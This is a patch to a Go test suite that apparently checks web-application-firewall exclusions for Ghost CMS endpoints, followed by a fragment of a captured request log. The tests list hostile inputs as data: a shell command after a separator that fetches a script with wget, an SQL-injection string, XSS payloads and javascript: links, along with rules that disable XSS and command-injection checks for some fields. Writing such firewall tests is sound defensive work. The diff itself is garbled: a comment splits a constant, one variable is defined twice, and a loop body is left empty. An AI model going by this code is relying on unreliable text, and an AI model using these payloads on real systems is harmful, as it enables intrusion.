        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
 # The passwords, which skip each rule that random passwords set off:
 #   password, signing in at /ghost/api/admin/session/
 #   setup.<n>.password, creating the first staff user
@@ -28,6 +28,16 @@ const (
 	ghostUser          = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
 	ghostMember        = "/members/api/member/"
 	ghostMagicLink     = "/members/api/send-magic-link/"
 	ghostInvites       = "/ghost/api/admin/invites/"
 	ghostInvitation    = "/ghost/api/admin/authentication/invitation/"
 	ghostTiers         = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
 	ghostOffers        = "/ghost/api/admin/offers/"
 	ghostRecommended   = "/ghost/api/admin/recommendations/"
 	ghostTags          = "/ghost/api/admin/tags/"
 	ghostImport        = "/ghost/api/admin/members/upload/"
 	ghostComments      = "/members/api/comments/"
 	ghostNote          = "/.ghost/activitypub/v1/actions/note"
 	ghostAccount       = "/.ghost/activitypub/v1/account"
 )
 func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -64,7 +74,7 @@ func (f ghostField) with(t *testing.T, value string) string {
 	)
 }
-// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
+// ghostTextFields hold plain text and skip the eight rules of plain text.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostTextFields = []ghostField{
@@ -116,8 +126,103 @@ var ghostTextFields = []ghostField{
 		`{"snippets":[{"name":"VALUE"}]}`,
 	},
 	{http.MethodPut, ghostMember, ghostMemberName},
 	// A staff user's profile, the first staff user, an invitation accepted.
 	{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
 	{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
 	{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
 	{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
 	{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
 	{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
 	{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
 	{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
 	// Tiers, offers, recommendations, integrations and webhooks.
 	{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
 	{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
 	{
 		http.MethodPut,
 		ghostTiers,
 		`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
 	},
 	{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
 	{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
 	{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
 	{
 		http.MethodPost,
 		ghostOffers,
 		`{"offers":[{"display_description":"VALUE"}]}`,
 	},
 	{
 		http.MethodPost,
 		ghostRecommended,
 		`{"recommendations":[{"title":"VALUE"}]}`,
 	},
 	{
 		http.MethodPost,
 		ghostRecommended,
 		`{"recommendations":[{"description":"VALUE"}]}`,
 	},
 	{
 		http.MethodPost,
 		ghostRecommended,
 		`{"recommendations":[{"excerpt":"VALUE"}]}`,
 	},
 	{
 		http.MethodPost,
 		"/ghost/api/admin/integrations/",
 		`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
 	},
 	{
 		http.MethodPost,
 		"/ghost/api/admin/webhooks/",
 		`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
 	},
 	// A feature image's alt text and caption.
 	{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
 	{
 		http.MethodPut,
 		ghostPost,
 		`{"posts":[{"feature_image_caption":` +
 			`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
 	},
 	{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
 	// A member's comment, written and edited.
 	ghostNewComment,
 	{
 		http.MethodPut,
 		ghostComments + "6af5426ae56ecb0001938894/",
 		`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
 	},
 	// ActivityPub: a note, a reply and the account.
 	{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
 	{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
 	{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
 	{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
 	{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
 }
 // ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
 //
 //nolint:gochecknoglobals // a constant cannot be a struct
 var ghostNewComment = ghostField{
 	http.MethodPost,
 	ghostComments,
 	`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
 }
 // ghostComment is the HTML of an ordinary comment, with a link.
 const ghostComment = `Try <strong>python3</strong>, then ` +
 	`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
 // ghostReply is the path that posts a reply to a note in ActivityPub.
 const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
 	"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
 	"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
 // ghostMemberName is the body that saves a member's name at /members/api/.
 const ghostMemberName = `{"name":"VALUE"}`
@@ -135,6 +240,8 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
 	{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
 	{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
 	{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
 	{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
 	{
 		http.MethodPost,
 		ghostPasswordReset,
@@ -143,21 +250,10 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
 }
-// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
+// ghostArticleFields hold an article and skip the rules of 900355.
 // 930120 and 932120, as url does.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostCanonicalURLFields = []ghostField{
+var ghostArticleFields = []ghostField{
 	{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
 	{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
 	{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
 }
 // ghostPostFields hold a post or a page, skip the rules of 900355, and take a
 // <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostPostFields = []ghostField{
 	{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
 	{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
 	{
@@ -166,13 +262,6 @@ var ghostPostFields = []ghostField{
 		`{"posts":[{"html":"VALUE"}]}`,
 	},
 	{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
 }
 // ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
 // footer, skip the rules of 900355, and still refuse a <script> element.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostSnippetAndNewsletterFooterFields = []ghostField{
 	{
 		http.MethodPost,
 		"/ghost/api/admin/snippets/",
@@ -185,16 +274,8 @@ var ghostSnippetAndNewsletterFooterFields = []ghostField{
 	},
 }
-// ghostArticleFields hold an article and skip the rules of 900355.
+// ghostCodeFields hold code injection or a setting and skip the rules of
-//
+// 900356 and 900378.
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostArticleFields = slices.Concat(
 	ghostPostFields,
 	ghostSnippetAndNewsletterFooterFields,
 )
 // ghostCodeFields hold code injection or a setting, skip the rules of 900356,
 // and take a <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostCodeFields = []ghostField{
@@ -213,6 +294,16 @@ var ghostCodeFields = []ghostField{
 		`{"settings":[{"key":"title","value":"Blog"},` +
 			`{"key":"codeinjection_head","value":"VALUE"}]}`,
 	},
 	{
 		http.MethodPost,
 		ghostTags,
 		`{"tags":[{"codeinjection_head":"VALUE"}]}`,
 	},
 	{
 		http.MethodPut,
 		ghostTags + "6af45d4ed281b00001a599a8/",
 		`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
 	},
 }
 // The query fields that skip some rules, each ending in "=".
@@ -221,6 +312,13 @@ const (
 	ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
 	ghostSearch        = ghostMembers + "?limit=100&search="
 	ghostEmbed         = "/ghost/api/admin/oembed/?type=bookmark&url="
 	ghostStats         = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
 	ghostPathname      = ghostStats + "&pathname="
 	ghostSource        = ghostStats + "&source="
 	ghostCampaign      = ghostStats + "&utm_campaign="
 	ghostSegment       = ghostPost + "?newsletter=default-newsletter&email_segment="
 	ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
 	ghostInvitedEmail  = ghostInvitation + "?email="
 )
 // ghostQueryFields are the query fields that skip some rules.
@@ -228,18 +326,20 @@ const (
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostQueryFields = []string{
 	ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
 	ghostPathname, ghostSource, ghostCampaign, ghostSegment,
 	ghostAccountSearch, ghostInvitedEmail,
 }
-// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
+// ghostCommandNames joins two command names, as an ordinary title can.
-// URL.
+const ghostCommandNames = "powershell & python3"
 // ghostURLs are addresses 930120 and 932120 refused in url.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostURLs = []string{
 	"https://github.com/example/site/blob/main/.htaccess",
 	"https://example.com/blog/powershell-tips?ref=ghost",
 	"https://example.com/docs/python3/",
 	"https://example.com/blog/powershell/",
 	"https://example.com/blog/.htaccess/",
 }
 // ghostAddresses are addresses 930120, 932120 and 932260 refused.
@@ -340,10 +440,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 	for _, address := range ghostURLs {
 		wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
 		for _, f := range ghostCanonicalURLFields {
 			wantGhostField(t, f, address, false)
 		}
 	}
 	for _, address := range ghostAddresses {
@@ -360,6 +456,8 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		wantGhostField(t, f, ghostCodeInjection, false)
 	}
 	wantGhostField(t, ghostNewComment, ghostComment, false)
 	wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
 		url.QueryEscape(
 			"tag:powershell+status:[draft,scheduled,published,sent]",
@@ -368,41 +466,11 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
 }
-// ghostWidget is an HTML card that embeds a widget with its script.
+// ghostAttacks are an SQL injection, a path traversal and a script
-const ghostWidget = `<div id="signup"></div>` +
+// injection, not escaped.
 	`<script src="https://widgets.example.com/form.js" async></script>`
 // ghostWidgetCard is ghostWidget as the editor saves it in lexical.
 const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
 	`"html":"<div id=\"signup\"></div><script ` +
 	`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
 	`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
 // ghostAnalytics is code injection that loads analytics.
 const ghostAnalytics = `<script defer ` +
 	`src="https://analytics.example.com/script.js"></script>`
 func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
 	t.Parallel()
 	// An HTML card in a post, as the editor saves it, and as integrations
 	// send it.
 	wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
 	for _, f := range ghostPostFields {
 		wantGhostField(t, f, ghostWidget, false)
 	}
 	// Site code injection, saved in settings, and a post's or a page's own.
 	for _, f := range ghostCodeFields {
 		wantGhostField(t, f, ghostAnalytics, false)
 	}
 }
 // ghostAttacks are an SQL injection and a path traversal, not escaped.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostAttacks = []string{injection, pathTraversal}
+var ghostAttacks = []string{injection, pathTraversal, scriptTag}
 // commandAfterASeparator is a shell command after a ";", not escaped.
 const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -412,7 +480,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	for _, attack := range ghostAttacks {
 		for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
-			ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
+			ghostArticleFields, ghostCodeFields) {
 			wantGhostField(t, f, attack, true)
 		}
@@ -421,26 +489,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		}
 	}
-	// A script injection stays refused in every field that does not take a
+	// A command after a separator stays refused wherever 932235 does not
-	// <script> element.
+	// misfire: in the addresses, search, url, email_segment and email. The
-	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
+	// plain text, filter and the analytics' fields skip 932235, which
-		ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
+	// refuses "powershell & python3" as it refuses this.
-		wantGhostField(t, f, scriptTag, true)
+	for _, f := range ghostAddressFields {
 	}
 	for _, target := range ghostQueryFields {
 		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
 	}
 	// A command after a separator stays refused wherever its rules do not
 	// misfire: in the query fields, the plain text, the addresses and the
 	// canonical URLs.
 	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
 		ghostCanonicalURLFields) {
 		wantGhostField(t, f, commandAfterASeparator, true)
 	}
-	for _, target := range ghostQueryFields {
+	for _, target := range []string{
 		ghostSearch, ghostEmbed, ghostSegment, ghostInvitedEmail,
 	} {
 		wantGhostQuery(
 			t,
 			target+url.QueryEscape(commandAfterASeparator),
@@ -448,15 +507,20 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		)
 	}
-	// The articles and code injection carry HTML on purpose, but a
+	// A comment keeps the rules for scripts and HTML.
-	// javascript: link is still refused there, and a script element in
+	wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
-	// snippets and a newsletter's footer.
+	wantGhostField(
-	for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
+		t,
-		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
+		ghostNewComment,
-	}
+		`<a href="javascript:alert(1)">x</a>`,
 		true,
 	)
-	for _, f := range ghostSnippetAndNewsletterFooterFields {
+	// The articles and code injection carry HTML on purpose, but a script
 	// element and a javascript: link are still refused there.
 	for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
 		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
 		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
 	}
 	// An address keeps 932250, which refuses a listing of files.
@@ -465,6 +529,108 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	}
 }
 func TestGhostTwoCommandNamesPass(t *testing.T) {
 	t.Parallel()
 	for _, f := range ghostTextFields {
 		wantGhostField(t, f, ghostCommandNames, false)
 	}
 	// filter as the admin's post picker writes it, after a person types a
 	// title that joins two command names.
 	for _, typed := range []string{
 		ghostCommandNames, "python3 & powershell", "powershell & ls -la",
 		"ls -la & python3",
 	} {
 		filter := "status:published+title:~'" + typed + "'"
 		wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
 	}
 }
 // TestGhostOrdinaryQueriesPass checks the query fields of the analytics
 // pages, email_segment, the search of ActivityPub and the check of an
 // invitation.
 func TestGhostOrdinaryQueriesPass(t *testing.T) {
 	t.Parallel()
 	for _, encoded := range hardValues {
 		value, _ := url.QueryUnescape(encoded)
 		text := url.QueryEscape("Notes on " + value + " & tidy files")
 		wantGhostQuery(
 			t,
 			ghostPathname+url.QueryEscape("/"+value+"/"),
 			false,
 		)
 		wantGhostQuery(t, ghostSource+encoded, false)
 		wantGhostQuery(t, ghostCampaign+text, false)
 		wantGhostQuery(t, ghostAccountSearch+text, false)
 	}
 	wantGhostQuery(
 		t,
 		ghostCampaign+url.QueryEscape(ghostCommandNames),
 		false,
 	)
 	wantGhostQuery(
 		t,
 		ghostAccountSearch+"%40powershell%40example.com",
 		false,
 	)
 	for _, segment := range []string{
 		"label:powershell-users", "label:python3", "label:ls-la",
 		"label:htaccess", "status:free,tier:powershell-club",
 	} {
 		wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
 	}
 	for _, address := range ghostAddresses {
 		wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
 	}
 }
 // wantGhostImportLabel checks that the Core Rule Set, reading bodies,
 // refuses label, sent as labels in a CSV import to target, or lets it
 // through.
 func wantGhostImportLabel(
 	t *testing.T, target, label string, refused bool,
 ) {
 	t.Helper()
 	r := request{http.MethodPost, target, []string{multipart}}
 	body := field("labels", label) + field("mapping[email]", "email") + end
 	got, _ := inspectBody(t, readingBodies(t), r, body)
 	if refused && got.Score < ghostThreshold {
 		t.Errorf("labels=%q at %s let through: %+v", label, target, got)
 	}
 	if !refused && got.Score >= ghostThreshold {
 		t.Errorf("labels=%q at %s refused: %+v", label, target, got)
 	}
 }
 func TestGhostImportLabelsPass(t *testing.T) {
 	t.Parallel()
 	for _, encoded := range hardValues {
 		value, _ := url.QueryUnescape(encoded)
 		wantGhostImportLabel(t, ghostImport, value+" import", false)
 	}
 	wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
 	for _, attack := range ghostAttacks {
 		wantGhostImportLabel(t, ghostImport, attack, true)
 	}
 	// labels keeps its rules on other paths, and when the query has a field
 	// of the same name.
 	wantGhostImportLabel(t, ghostMembers, "python3 import", true)
 	wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
 }
 func TestGhostExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
@@ -481,8 +647,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		setupEmail         = `{"setup":[{"email":"python3.dev@example.com"}]}`
 		passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
 		userEmail          = `{"users":[{"email":"python3.dev@example.com"}]}`
 		postURL            = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
 		pageURL            = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
 	)
 	for _, refused := range []struct{ target, body string }{
@@ -502,7 +666,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 			`{"settings":[{"value":"<meta name=x content=y>"}]}`,
 		},
 		{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
 		{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
 		{ghostPosts, email},
 		{ghostMembers, email},
 		{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
@@ -519,12 +682,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
 		{ghostPosts, userEmail},
 		{ghostUser + "?json.users.0.email=x", userEmail},
 		{"/api/posts/1/", postURL},
 		{ghostMembers, postURL},
 		{ghostPage, postURL},
 		{ghostPost + "?json.posts.0.canonical_url=x", postURL},
 		{ghostPost, pageURL},
 		{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
 		{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
 		{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
 		{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
@@ -547,50 +704,13 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 	}
 }
 func TestGhostScriptExclusionIsNarrow(t *testing.T) {
 	t.Parallel()
 	crs := readingBodies(t)
 	// A <script> element keeps 941110 off the Admin API, in fields that do
 	// not take one, and when the query has a field of the same name. 941100
 	// and 941160 refuse each request too, so the test looks for 941110
 	// itself.
 	const (
 		script           = `<script defer src=\"/script.js\"></script>`
 		scriptInPost     = `{"posts":[{"lexical":"` + script + `"}]}`
 		scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
 	)
 	for _, refused := range []struct{ target, body string }{
 		{"/ghost/api/content/posts/", scriptInPost},
 		{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
 		{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
 		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
 		{"/api/settings/", scriptInSettings},
 		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
 	} {
 		r := request{http.MethodPut, refused.target, []string{jsonBody}}
 		got, _ := inspectBody(t, crs, r, refused.body)
 		if got.Score < ghostThreshold ||
 			!slices.Contains(got.RuleIDs, 941110) {
 			t.Errorf(
 				"PUT %s %s: %+v, want 941110 among them",
 				refused.target,
 				refused.body,
 				got,
 			)
 		}
 	}
 }
 func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 	// The query fields keep their rules off Ghost's paths, and in other
 	// query fields there. search skips its rules only on the Admin API, and
-	// url only on the editor's lookup of embeds.
+	// url only on the editor's lookup of embeds. pathname, email_segment,
 	// query and email skip theirs only on their own paths.
 	for _, target := range []string{
 		"/api/posts/?filter=powershell",
 		"/ghost/posts/?filter=powershell",
@@ -599,11 +719,61 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 		"/members/api/member/?search=python3",
 		"/ghost/api/admin/posts/?url=powershell",
 		"/oembed/?url=powershell",
 		"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
 		"/ghost/api/admin/stats/top-content/?order=powershell",
 		"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
 		"/ghost/api/admin/posts/?query=python3",
 		"/.ghost/activitypub/v1/actions/note?query=python3",
 		"/ghost/api/admin/invites/?email=python3.dev%40example.com",
 	} {
 		wantGhostQuery(t, target, true)
 	}
 }
 // TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
 // fields that 900370 to 900378 name, as TestGhostExclusionsAreNarrow checks
 // the others: each keeps its rules on another path, and when the query has
 // a field of the same name.
 func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 	const (
 		bio        = `{"users":[{"bio":"python3"}]}`
 		comment    = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
 		content    = `{"content":"python3"}`
 		accountBio = `{"bio":"python3"}`
 		invited    = `{"invites":[{"email":"python3.dev@example.com"}]}`
 		accepted   = `{"invitation":[{"email":"python3.dev@example.com"}]}`
 		tagCode    = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
 	)
 	for _, refused := range []struct{ target, body string }{
 		{"/api/users/1/", bio},
 		{ghostMember, bio},
 		{ghostUser + "?json.users.0.bio=x", bio},
 		{ghostPosts, comment},
 		{ghostComments + "?json.comments.0.html=x", comment},
 		{ghostAccount, content},
 		{ghostNote + "?json.content=x", content},
 		{ghostNote, accountBio},
 		{ghostAccount + "?json.bio=x", accountBio},
 		{ghostPosts, invited},
 		{ghostInvites + "?json.invites.0.email=x", invited},
 		{ghostInvites, accepted},
 		{ghostInvitation + "?json.invitation.0.email=x", accepted},
 		{ghostPosts, tagCode},
 		{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
 	} {
 		r := request{http.MethodPut, refused.target, []string{jsonBody}}
 		got, _ := inspectBody(t, readingBodies(t), r, refused.body)
 		if got.Score < ghostThreshold {
 			t.Errorf("PUT %s %s let through: %+v", refused.target,
 				refused.body, got)
 		}
 	}
 }
 func TestGhostPasswordsPass(t *testing.T) {
 	t.Parallel()
@@ -533,8 +533,6 @@
 {"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess 